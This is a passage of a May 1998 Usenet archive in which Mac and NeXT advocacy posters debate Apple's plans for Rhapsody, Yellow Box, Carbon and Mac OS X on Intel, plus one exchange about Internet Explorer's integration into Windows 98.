> ERF, ERF, ERF!!!
>
So perhaps this is supposed to make me happy. Why in the heck
would I want to write for Carbon when I can write for YB. Now if
your going to tell me YB on Mach for Intel is dead then I'm going
to be a little upset.. If you say hey you get YB on 95/NT I say
garbage give me YB on Mach on Intel.. I can do w/o Bluebox
and Carbon on Intel - if it can be ported and get me Carbon
Apps on Mach on Intel - then fucking great. YB on Mach on
Intel. Say yes to this Apple!! Put your darn money where your
mouth is. 2x faster. I'll tell you whether it's 2x faster when
Rhap1.0
ships for Intel and PPC. Then we'll all know if your bluffing or not.
If your not then you have nothing to fear from the PC's since I'll
pay roughly 2x the price if the speed is 2x, and the integration
is top notch (like black hardware). If you really believe in PPC
and believe in YB then don't dump YB on Mach on Intel because
it could eat into your PPC sales. Trust that folks will buy from
Apple because they'd rather get a 2x faster machine for 2x
the price. Why? Because if you've done your job right
to get the same performance I have to eat twice as much
power. And I am a bit sensitive to this issue (how much
power a machine consumes). Also to have jobs take 1/2
less time on a particular node would be very important to me.
Both of these selling points (less power for same performance,
and more performance in single box) are very important to
some people (also less systems to maintain).
I tell you now if you dump YB on mach on Intel for any reason
it will clearly be perceived that Apple doesn't believe their
hardware can compete on a price/performance basis with
Intel. And at that point I'll go linux. Heck if Apple goes with
X for it's display there is no reason the GNUstep wouldn't be
able to catch up easily - they can forget about the DPS and
start working hard on the core API's of YB.
Any hint of this and Apple has lost a developer and a User.
I absolutely won't be buying into a company that is forcing
people to move to their proprietary closed systems - (i.e. PPC
to get MacOS X). I don't care how fricken great you think
your stuff is. I won't support a MS wanna-be..
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 05:13:39 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6jdui3$ovk$1@camel15.mindspring.com>
References: <B17C8D50-7E886@206.165.43.134> <B17FA88B-D17A@206.165.43.138> <nagleEsxEDn.2M6@netcom.com> <djboccip-1305982230370001@tnt3-69.hiwaay.net>
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In article <nagleEsxEDn.2M6@netcom.com> John Nagle, nagle@netcom.com
writes:
> With Apple, the "feeling stupid" part comes after you learn the new
>API and Apple doesn't ship it. Look at the people who fell for
>OpenDoc, QuickDraw GX, Bedrock, Rhapsody, etc.
>
> Incidentally, what 3D strategy is Apple pushing this week?
>QuickDraw 3D? OpenGL? Direct-3D?
>
> John Nagle
> www.animats.com
John, Apple is dead, Steve Steved it.
What sits at 1 infinite loop is NeXT, which has taken over Apple Computer.
Why not give the NeXT Apple a break. Even Dave Winer is giving Jobs a
chance to prove himself.
MC
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 12 May 1998 23:52:00 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net>
In article <6j9ac3$tnp$1@ligarius.ultra.net>, "John Saunders"
<jws@jws.ultranet.com> wrote:
> Bob,
>
> What in the world are you talking about?
>
> Try to get specific. You say:
>
> >Again, because MS says that I cannot disassociate IE with some of the
> >functions of the system
>
> Which functions? Are there so many functions that you cannot either
> enumerate the functions or provide a pointer to a list of these functions?
> If you don't give any proof, why shouldn't we believe you're just talking
> out of your hat?
IE is a DLL as well as an app. As such if you want your app to make http
connections or to display HTML, then you can use IE as a library to do
that. But I don't think that Navigator could slip in to fill that role.
> >That means that an app that I use
> >that wants an internet gateway cannot use Netscape as that gateway.
>
> Bob, the words "internet gateway" are pretty generic. I have no idea what
> kind of gateway you're talking about. Could you please clarify that? And
> when you said "Netscape", did you mean "Netscape the company", or "Netscape
> Navigator/Communicator/whatever"?
I mean Navigator. Looking even at my copy of Quicken for the Mac, it uses
IE as a library to handle the on-line services. That's fine. That's
Intuit's decision to make. But does MS give Netscape or anyone else the
same opportunity to fill that role should I wish to use it.
> You didn't get my question, and I think I'm beginning to see why.
>
> I apologize for not realizing it before, but you seem to be a Mac person. So
> when I said, "HTML Help" in my post, you didn't know what I was talking
> about?
>
> Microsoft now has the technology to allow help files to be written using
> HTML. I've seen that called "HTML Help". I suspect this feature is available
> outside of Redmond as well. In order to display the help files, some sort of
> HTML renderer is necessary. My question was, "If you could use Netscape as
> your browser, would you care which piece of code rendered the HTML in HTML
> help?"
Yes. If I wrote my help to use JavaScript or if I wrote my app to use tags
that IE doesn't support or doesn't support well. Or if I use an app to
create that HTML that handles Navigatorisms instead of IEisms. Basically,
I would like to take advantage of any innovation that Netscape should
develop in my help system.
> I'll add another question: "If programs you wrote could use Netscape code to
> render HTML help, would you care if programs someone else wrote used IE code
> to render HTML help?"
No. That's their decision to make. Personally, I'd like to be able to
substitute for possible performance/reliability reasons and see no reasons
why it should be a problem to offer it. But if Intuit wants to use IE to
display their help, then I can't argue too much about that.
> >Why should I *ever* want to be denied the ability to choose what is best
> >for my users? There is almost no point in questioning the desire for
> >choice, as there are always going to be cases that cannot be predicted.
>
> I have never said you should be denied the ability to choose. I have never
> seen any reason at all to believe that Microsoft's actions would deny you
> the ability to choose. I understand there are even OEMs which ship Windows
> 95 with both browsers on the desktop. They let the user choose. What's the
> problem with that?
I'm not talking about 95. I'm talking about 98. Does that option still
exist? Suppose I'm developing an online auto purchasing service and would
like to strike a deal with Netscape so that a 'Buy a car online' button in
Navigator would point to my site. Is there any possibility that Netscape
could strike a deal with Dell or Compaq or whoever to get Netscape as the
active desktop instead of IE? The presence of IE as the only active
desktop means that I am helpless to compete with MS for user presence
under Windows 98.
-Bob Cassidy
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody vs MacOS X (was Re: Apple screws Rhapsody *and* Mac
Date: Wed, 13 May 1998 22:37:22 -0700
Message-ID: <see-below-1305982237220001@209.24.241.190>
References: <6jbr7v$1cc$12@ironhorse.plsys.co.uk> <B17F2028-29E22@206.165.43.172> <355a3b20.0@news.camtech.net.au>
In article <355a3b20.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
> GX? DPS? Who gives a flying f... BUT Quickdraw. I aint gonna put up with
> Quickdraw into the next millenium. When companies like wavemetrics have to
> create there own code to get around the limitations of Quickdraw I have to
> question its use for anything. If Apple really is going to go stay with QD I
> won't be using it. When Apple announced GX I was pleased. When Apple
cancelled
> GX for DPS I was a little worried until I was shown the benefits (though
> arguably GX as as many if not more). When I heard that X was going back
to QD I
> almost puked. I will get a hold of Rhapsody and keep using that if I have to,
> I'm not going back to QD once I get off it.
One question: will OS 10 completely lack DPS and any DPS replacement? I
assume that Carbon will use QD, but what about YB? I wouldn't guess they'd
retool YB just to use QuickDraw, but I could be wrong.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 13 May 1998 23:27:48 GMT
Organization: Cygnus Solutions
Message-ID: <6jda9k$32c$1@cronkite.cygnus.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
<35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk>
<slrn6lka4b.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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In <slrn6lka4b.o39.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> Matt Kennel wrote:
> On 13 May 1998 10:40:23 GMT, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> :MacOS has not won. Rhapsody and MacOS have both won.
> :But in a more long-winded and resource-draining way than might have been
the
> :case had Mac users and developers rallied round YellowBox and the original
> :Rhapsody plan in the furst place.
>
> Most of it was not Apple's fault. Some it it was though: i.e. saying dumb
> things like "Rhapsody is going to be mostly for servers only." D'Oh!
>
> If, at the beginning, ''Rhapsody'' had been called MacOS 10, and Latitude
> warmly recommended, maybe all the angst would have been bypassed?
>
>
Um.. wasn't that pretty much the case in the first month or so?
I pretty much remember that being the case immediately up front, then they
didn't say much until WWDC, and it was at WWDC that everything exploded and
they started saying "well, uh, ok, we're really going to do a 2 OS strategy
like Windows is doing..".
1) the Metrowerks/Latitude effort was announced very early last year, adding
to my impression that this was the situation (and Apple made the announcement
along with Metrowerks, and made a BIG deal about it)
2) Gil very definitely wanted Rhapsody to be the future of the Mac desktop
OS, not just a server/high-end OS. It was to be Copeland's replacement
(either as MacOS 8, MacOS 9, or MacOS 10, etc.. numbers weren't given, but a
unified Rhapsody/MacOS wasn't a nubulous future goal, it was given on the
timeline as a near term goal to follow shortly after Alegro, if I recall
correctly.. in the period between aquiring NeXT and releasing
Rhapsody-unified, there were stated to be 2 Rhapsody releases and 2 MacOS
releases -- Rhapsody DR1, Rhapsody CR1 for the Rhapsody side; whichever
code-name became MacOS 8.0, and (I think the codename was given as Alegro,
but Alegro may have come later).. Rhapsody-unified was given to be very much
what MacOS X is being stated as (+DPS -Carbon)).
I don't recall exactly when the strategy changed. It's my impression that it
was a reaction to the luddites at WWDC last year, and/or it came as a
development of Gil leaving and Steve taking over.
(whichever it was, I'm glad we're back to pushing the unified OS.. I just
personally wish it was with DPS instead of Quickdraw)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: sw@nan.co.uk (Sak Wathanasin)
Subject: Re: So THAT is the OS stratetgy?
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Organization: Network Analysis Ltd
Message-ID: <sw-ya02408000R1305982325300001@newshost.nan.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <*johnnyc*-1205981218300001@rklein.psychology.dal.ca> <drcohen-1205981218210001@sjc-ca6-09.ix.netcom.com> <%k261.1934$sy4.3477418@news.rdc1.sdca.home.com> <rmcassid-1205981503570001@dante.eng.uci.edu>
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Date: Wed, 13 May 1998 22:25:30 GMT
In article <rmcassid-1205981503570001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> Clearly the MacOS people don't belive in rewriting apps....
Oh they do: they just happen to be rewriting them for Win 95/NT. At least
most of my clients are...
--
Sak Wathanasin
Network Analysis Limited
178 Wainbody Ave South, Coventry CV3 6BX, UK
Internet: sw@nan.co.uk
Phone: (+44) 1203 419996 Fax: (+44) 1203 690690
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Wed, 13 May 1998 18:33:20 -0500
Organization: Prairie Group
Message-ID: <MPG.fc3e9b75f0460ab9896bf@news.supernews.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <6j9ge5$1cc$9@ironhorse.plsys.co.uk> <35585A43.19F86C67@nstar.net> <6jbtan$1cc$17@ironhorse.plsys.co.uk> <MPG.fc364f027ee52019896bc@news.supernews.com> <6jchbn$1cc$19@ironhorse.plsys.co.uk>
In article <6jchbn$1cc$19@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
says...
> In <MPG.fc364f027ee52019896bc@news.supernews.com> Donald Brown wrote:
> > Depends on whose resources you're talking about draining.
> >
> > As a small developer, I would have been strained to breaking point to
> > convert my apps that run just great under Mac OS, to OpenStep.
> >
> Fair comment. I'm sorry if my post offended -- I was looking purely from the
> technical perspective, I fully agree that there are other considerations too,
> which is why I say that Rhapsody and MacOS have both won.
I gotta go back to NewsGrouping 101, I keep giving out misunderstandings.
Not offended at all. I just wanted to show the other side of the street.
Unfortunately, in this less than perfect world, technical perspectives
aren't the only perspectives that come into play when making decisions.
> > I hope that MacOS X will also run openstep programs and the OpenStep
> > development environment will continue. From what I've read and heard, I
> > don't know, but it would be good if it does.
> >
> OpenStep (AKA YellowBox, AKA "advanced software development environment")
> certainly does live on -- it's the API of the future for MacOS. With Carbon
> you will, apparently, be able to make calls to the YellowBox frameworks, so
> you can move your applications over to YB at your own pace.
Has this been confirmed? If so, great!
Donald
Message-ID: <355A9E5E.2D3DB012@unet.univie.ac.at>
Date: Thu, 14 May 1998 09:33:50 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OSX - What I See vs What I Want
References: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net> <6javob$tpe$1@reader1.reader.news.ozemail.net> <35590EE4.9858E645@unet.univie.ac.at> <rkt1-1305981646450001@cu-dialup-0423.cit.cornell.edu> <355A14F6.3A0CD0CB@unet.univie.ac.at> <rkt1-1405980303590001@cu-dialup-0227.cit.cornell.edu>
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Tapella wrote:
> Well, obviously nobody is afraid of stability. I'm talking about the CLI
> and general user interface (I've never seen X-windows with an interface as
> elegant and simple as the MacOS's. Powerful, yes. Easy, friendly, no.).
But you might have seen NEXTSTEP.Powerful yes.
Easy,friendly, absolutely!
> Sorry if I misunderstood what the first guy (hehe whoever that was, sorry)
> was talking about re: "paranoia"
> Having MacOS X/Rhapsody be stable is obviously good, but Mac users in general
> have a "paranoia" of Unix because it's ugly and hard to use, not because it's
> too powerful ;) (And I'm not sure about the technicality of all this, but
> is "unix" responsible for the stability, or is it the kernel? Or both?)
The Shell part might be ugly for some, but it opens a whole new range of options
UNIX is famous for. For one: Scripting. and a whole busload of useful tools etc.
Christian Benesch
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 16:22:55 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981622550001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <3559DE39.3148786C@spamtoNull.com>
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In article <3559DE39.3148786C@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> In general terms, though, it's called "throwing out the baby with the
> bath water."
Typical Harker criticism: something that sounds clever and biting, without
actually being backed up with any facts.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 16:33:41 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1305981633410001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com>
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In article <3559E64B.A3A9AF2@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> > Or perhaps, this was an attempt at the Worldwide Developers Conference not
> > to piss off Macintosh developers by pushing too heavily something that
> > would entirely obselete their software and force them to entirely rewrite
> > if they wanted to gain PMT/PM/VM and such.
>
> OK, how many "Mac OS developers" do you think will hang around until Q3
> '99 to get the stuff Jobs/Apple/Amelio promised would be available in
> the *general* Mac OS (which was code-named Rhapsody) in Q2 '98?
They were NEVER going to get nearly-complete backward compatibility in
Rhapsody. But as for the Blue Box, they will still get that in Q2 '98. And
Mac OS X in Q1 99. What's the problem?
> Jobs has made it crystal clear that's not going to happen. The current
> Mac OS, without "PMT/PM/VM and such" is the "Crown Jewel" of Apple, not
> Rhapsody, according to Apple's Eternally Interim CEO, Jobs.
Semantics. They're still getting Rhapsody, AND they're getting "crown
jewel" compatibility.
> Here's a tough question, then. If that's the simple case, why didn't
> Jobs just announce Rhapsody and do the *Rhapsody road map* instead? Why
> bring "Mac Os 10", to be released in almost TWO YEARS into the picture
> at all?
Because renaming it "Mac OS" focuses on the Mac OS backwards-compatibility,
which Rhapsody wasn't going to have.
> I guess it would make sense if you interpreted the thing to mean:
> "Rhapsody as a mainstream Apple OS is going to be a bit late--by about
> TWO YEARS. So we've decided a name change is necessary."
A) Rhapsody as a mainstream Apple OS was never scheduled, so you can't say
that it is "going to be a bit late."
B) Rhapsody is still coming out when it was supposed to, in about three months.
C) Mac OS X will be avaiable in general release in about a year and three
months, not two years. And developers will have it in eight months.
> Now you're on a roll....:) You don't think "here it is--in Q3 1999!" has
> the slightest chance of "alienating Mac developers" some of whom have
> been working their tails off trying to get set up for Rhapsody in Q3
> 1998?
It's better than "here it is--NEVER!", which is what Apple gave them up
until now.
> Since Rhapsody won't be replacing the Mac OS anytime soon (whether
> you call it Mac OS 10 or whatever), you think this is reason for Mac
> developers to stand and cheer?
Again, semantics. Rhapsody will be replacing the Mac OS in Q3 '99, when it
becomes the Mac oS.
> I think the point is that at this point in time Jobs has provided the
> developers with little aside from confusion and more yet-to-realized
> pronouncements.
That's your take, gleaned from summaries or RealAudio transcripts of a
keynote. For the developers who've been in classes all week, it's much
clearer.
> You are certainly the only one who seems certain on this issue, "a
> reader" notwithstanding. Aside from that, how many Mac users after
> Copland and Rhapsody are prepared to *wait* yet again? I think Apple's
> used up it's good will.
Copland was late, and cancelled. Rhapsody is on time, and looks great. Who
needs to wait?
> Probably they were deluding themselves based on on what they believed
> Jobs and the NeXT team could accomplish.
Yeah, they were deluding themselves. In actuality, the NeXT team
accomplished all that they promised, and more. That's why the Blue Box was
early, and stable. That's why they are able to do MORE than what they
promised. That's why they're able to have proven Mac OS compatibility in
Rhapsody.
> Of course it is--when it *gets* here, in at least 18 months...:)
Do you have a problem with math? September '99 is 16 months away.
> But Mac OS 10 is at *least* 18 months out. Let's please not confuse
> projected goals with available products.
The goals look great. The available products look great. Therefore, it
looks like the projected products will look great.
Andy Bates.
From: veal@utk.edu (David Veal)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 13 May 1998 23:55:51 GMT
Organization: University of Tennessee, Knoxville
Message-ID: <6jdbu7$rbn$1@gaia.ns.utk.edu>
References: <ericb-1105981718430001@132.236.171.104> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com> <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1305981507200001@news-proxy.cso.uiuc.edu>,
Pulsar <pulsar@springnet1.com> wrote:
>Architecturally, the Mac OS is way past its prime. The name still holds a
>lot of power. Mac OS X will look just like the Mac OS. Few people will
>really notice or much care that the core has been ripped out and replaced
>with Rhapsody. To users it will just be a better Mac OS and not something
>entirely different *with a different name*.
Assuming they can pull that off. Rhapsody's big selling point
(initially, before it became a "Server OS") was Unix power with an
easy-to-use, integrated Mac-like interface that could still run MacOS
programs. I've been suspicious that this could be pulled off as quickly
or as easily it sound like Apple thought it could ... if that were the
case somebody would have taken a better stab it than they have earlier.
MacOS X sounds like what Rhapsody was promised to be + Carbon, and
Rhapsody 1.0 isn't looking anywhere near what Rhapsody was promised to be
- Carbon. I am suspicious part of the reason for Carbon is to be able to
release Rhapsody as-is, when when you look at the hype Rhapsody is really
being pushed back eighteen months.
--
David Veal veal@utk.edu
WYSIWYG - What You See Is What You Get
WYGIWYD - What You Get Is What You Deserve
From: Michael Branton <mbranton@stetson.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 20:00:24 -0400
Organization: Stetson University
Message-ID: <355A3418.4A8D@stetson.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news>
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Andy Bates wrote:
>
> In article <6jagk8$sol$1@xmission.xmission.com>, Kristofer Jon Magnusson
> <kris@xmission.xmission.com> wrote:
>
> > In comp.sys.next.advocacy Andy Bates <andyba@corp.webtv.net> wrote:
> >
> > : Why? Rhapsody is still coming out when it was before, and it'll still do
> > : the things it did before.
> >
> > Except that on Sunday, developing for Apple on Intel had a future. Today
> > it does not.
>
> Why not? Rhapsody for Intel is still coming out as well. Recompiled
> Rhapsody apps will still run both on Rhapsody for PowerPC and Rhapsody for
> Intel. And Rhapsody apps will still run on Mac OS X. Again, what's the
> problem?
>
> > : If Apple had cancelled Rhapsody completely, and then announced MacOS X
> > : as the replacement, THAT would be a bad thing. But Rhapsody is still
> > : coming out, and it is far from vapor.
> >
> > Rhapsody isn't vapor. But it is stillborn, at least the Intel version.
>
> Nope, still coming out, and still supported. See WWDC notes.
>
> > If MacOS X was slated to run on Intel, then I wouldn't care about losing
> > Rhapsody, because then I would still be able to ditch my Win NT
> > installations on decent, low-priced hardware in favor of essentially an
> > updated version of NEXTSTEP on Intel.
>
> Mac OS X is Rhapsody plus the Carbon APIs. Since there are no Mac apps for
> Intel, Carbon is unnecessary for Intel. So Rhapsody for Intel + no Carbon =
> Rhapsody for Intel, just like it always did.
>
not quite. it seems clear that running on intel in now not so important
to apple. it started w/ cutting the clones, and it'll finish w/ rhapsody
on intel being an afterthought. apple wants to sell you their hardware.
anything that is perceived as a threat to that will go, or will be
released in a way that makes it non-competetive w/ the ppc version. if
you're happy with having to go ppc, then there's no problem. if you were
looking for something that didn't coerce you into using ppc, then
there's a problem.
--
michael
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Wed, 13 May 1998 20:38:11 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1305982038160001@192.168.0.3>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com> <6jd1s0$5nv$2@msunews.cl.msu.edu> <355A04FC.420CED76@milestonerdl.com>
In article <355A04FC.420CED76@milestonerdl.com>, mark@milestonerdl.com wrote:
:spammers@ruin.the.internet.channelu.com wrote:
:
:> Last year apple was touting YellowBox API's.
:
:And They told Newton developers to concentrate on vertical markets. Look
:at what happened to them.
:
:> YB is going no-where? Read this: IT IS THE CORE OF APPLE's
:> TECHNOLOGY. If you code there you'll be fine as long as
:> Apple is around
:
:Or Apple changes it's mind. Carbon COULD be something that Apple INSTEAD
:throws its weight behind.
That's something I've been thinking about. The primary reason behind
Apple's sudden shift in direction, is that current Mac OS developers did
not want to totally rewrite their apps for Rhapsody. Now with Carbon, they
won't have to, but the theory keeping the Yellow Box alive is that at
some point those developers will just 'want' to totally rewrite their
apps. Presumably to take advantage of all of those nifty new Yellow
Box-only features. But no matter how you look at it, it's still an
expensive proposition. How long before those same developers start saying,
'well, we'd love to support such & such feature, but since it's not part
of Carbon, we won't.' followed by 'Hey, couldn't you guys figure out some
way of letting Carbon apps use those advanced features without scrapping
everything?' This scenario doesn't necessarily spell the doom of the
Yellow Box, so much as it suggests that chances are there won't be a
well-defined line separating the Carbon APIs and the Yellow APIs.
Furthermore, if enough large developers demand it, Apple could shift their
emphasis from Yellow Box development to Carbon development.
:And carbon just might be portable off the PPC.
It probably is, but Apple needs to sell PPC boxes to survive, so I don't
think it'll be leaping anywhere any time soon.
:The less Apple NEEDS YellowBox to keep MacOS applications developed, the
:more likely YellowBox chould be dropped.
I don't think it'll ever be dropped, but there is a definite chance
that it might be MacApped.
:Apple would drop YellowBox in a heart-beat.....if it suited them.
The question is will Adobe, MS, Macromedia, et al. ever really want to
rewrite for the YellowBox? They've already got their own homebrew
cross-platform frameworks and libraries. The YellowBox could shorten
development cycles, but I think that's going to be a very tough sell on
Apple's part. Maybe if Apple didn't change directions every five minutes,
developers would be more inclined to rely on their technology.
-Eric
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Random blatherings
Date: Wed, 13 May 1998 18:32:17 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355A2D81.1DACA491@milestonerdl.com>
References: <6jatq7$72e$1@xmission.xmission.com> <355A0000.98C34AB5@milestonerdl.com> <6jd4jf$51e$1@crib.bevc.blacksburg.va.us> <355A11FE.175EB7DE@milestonerdl.com> <6jd9gb$59b$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355A11FE.175EB7DE@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Nathan Urban wrote:
>
> > > In article <355A0000.98C34AB5@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > > > 'Logic' says Apple should make YellowBox for as may platforms as possible.
>
> > > Perhaps your `logic' doesn't include the fact that it is FAR easier to
> > > upgrade an existing YB implementation to a new OS version than it is to
> > > produce a new one from scratch for a whole new OS.
>
> > Then make the PUBLIC committment, if it's SO EASY.
>
> Gosh, Apple hasn't announced public committment for Windows NT6 and
> Windows2000 and lots of other products that don't exist, that must means
> that they'll never update YB/Windows again.
Gosh, Microsoft hasn't offered up a NT 6 or Windows 2000.
> Why are you _assuming_ that when Apple commits to YB/Windows, that does
> _not_ include NT5/98?
Because it's the SAFE assumption.
> Perhaps they feel it's obvious. I certainly do.
> Why don't you just _ask_ them? They have feedback/question addresses,
> though they mostly pay attention to registered developers.
>
> > > Perhaps your `logic' doesn't include the fact that with MacOS and Windows
> > > _alone_, they've got the _vast_ majority of the market covered anyway.
>
> > Give developers MORE. Give them Solaris/HP-UX. (They had that with
> > OpenSTEP)Then, get down and dirty.....get runtimes to work with Linux/FreeBSD.
> > (Sell the runtimes. If you want non-mainstream implementation you pay.)
>
> Like I said: WHY? It takes a _nontrivial_ amount of effort to produce
> a Yellow Box for a new operating system. They've already got one for
> Windows, it's much easier to update for a new version of Windows than
> it is to make a new one for a whole new OS.
They HAD Solaris/HP-UX and Apple is grabbing parts from Net/Open/FreeBSD, so it may be
trivial.
> If they make Solaris,
> HP-UX, Linux, FreeBSD, etc., what have they gained? A small increase
> in marketshare.
OpenSTEP had that already. They grew the market alot just by jumping to the Niche
status of Macintosh.
> What have they lost? A lot of development time. It's a
> cost-benefit ratio.
The less platforms, the eaiser to kill YellowBox cross-platform.
> Don't get me wrong, I'd love to see YB all over the place. I just don't
> think that Apple is going to consider it worth their time to increase
> their available market by a relatively tiny number of seats.
At one time, Apple was so bold. But thats all the more reason I am of the believe the
cross-platform Rhapsody is questionable.
> > > Perhaps your `logic' doesn't include the fact that if Apple weren't
> > > willing to keep up to date on YB/Windows, they'd kill it now and save
> > > themselves the development/sales/marketing costs.
>
> > What 'up to date'? NT4/95 has been out there for some time. What 'up to date'?
>
> <sigh> "Up to date" as in modifying it to work with NT5/98, if any
> modfiication is necessary. My point was that if they _weren't_ willing
> to keep YB up to date with whatever release of Windows Microsoft is
> putting out, they'd just kill YB/Windows now, because they know --
> as you yourself have pointed out -- that no one is going to be excited
> over a YB/Windows that dead-ends on the current OS releases. It's a
> waste of their time and money otherwise.
>
> > > Perhaps your `logic' is defective.
>
> > Perhaps you are delusional as to how important YellowBox actually is.
>
> Perhaps you are. Yellow Box is exceptionally important to Apple's
> long-term strategy, as is their cross-platform effort.
THEN ANNOUNCE IT TO THE WORLD!
> > If Apple is unwilling to say 'We are willing to commit to supporting NT 5.x,
> > so long as we obtain proper support from Microsoft', then how serious IS
> > YellowBox in Multi-platform?
>
> Who says they're unwilling? The only person I've seen expressing doubts
> that YB/Windows is going to be continued to NT 5 is you. Most everyone
> else regards it as obvious.
And it was obvious that Apple felt the handheld market was important, that's why they
kept supporting the Newton. And it was obvious when they made the MP2000, and the
MP2100 upgrade.
Where's the Newton today?
> Anyway, Apple does plenty of things they don't announce ages ahead
> of time.
And many things announced that get cancelled.
>
>
> > > > Oh, and care to comment on this: The NT version of the YellowBox runtime
> > > > was a NeXT project. Why does its continuation have to contiune as an
> > > > Apple project?
>
> > > Because Apple could have just dropped YB/Windows in the first place when
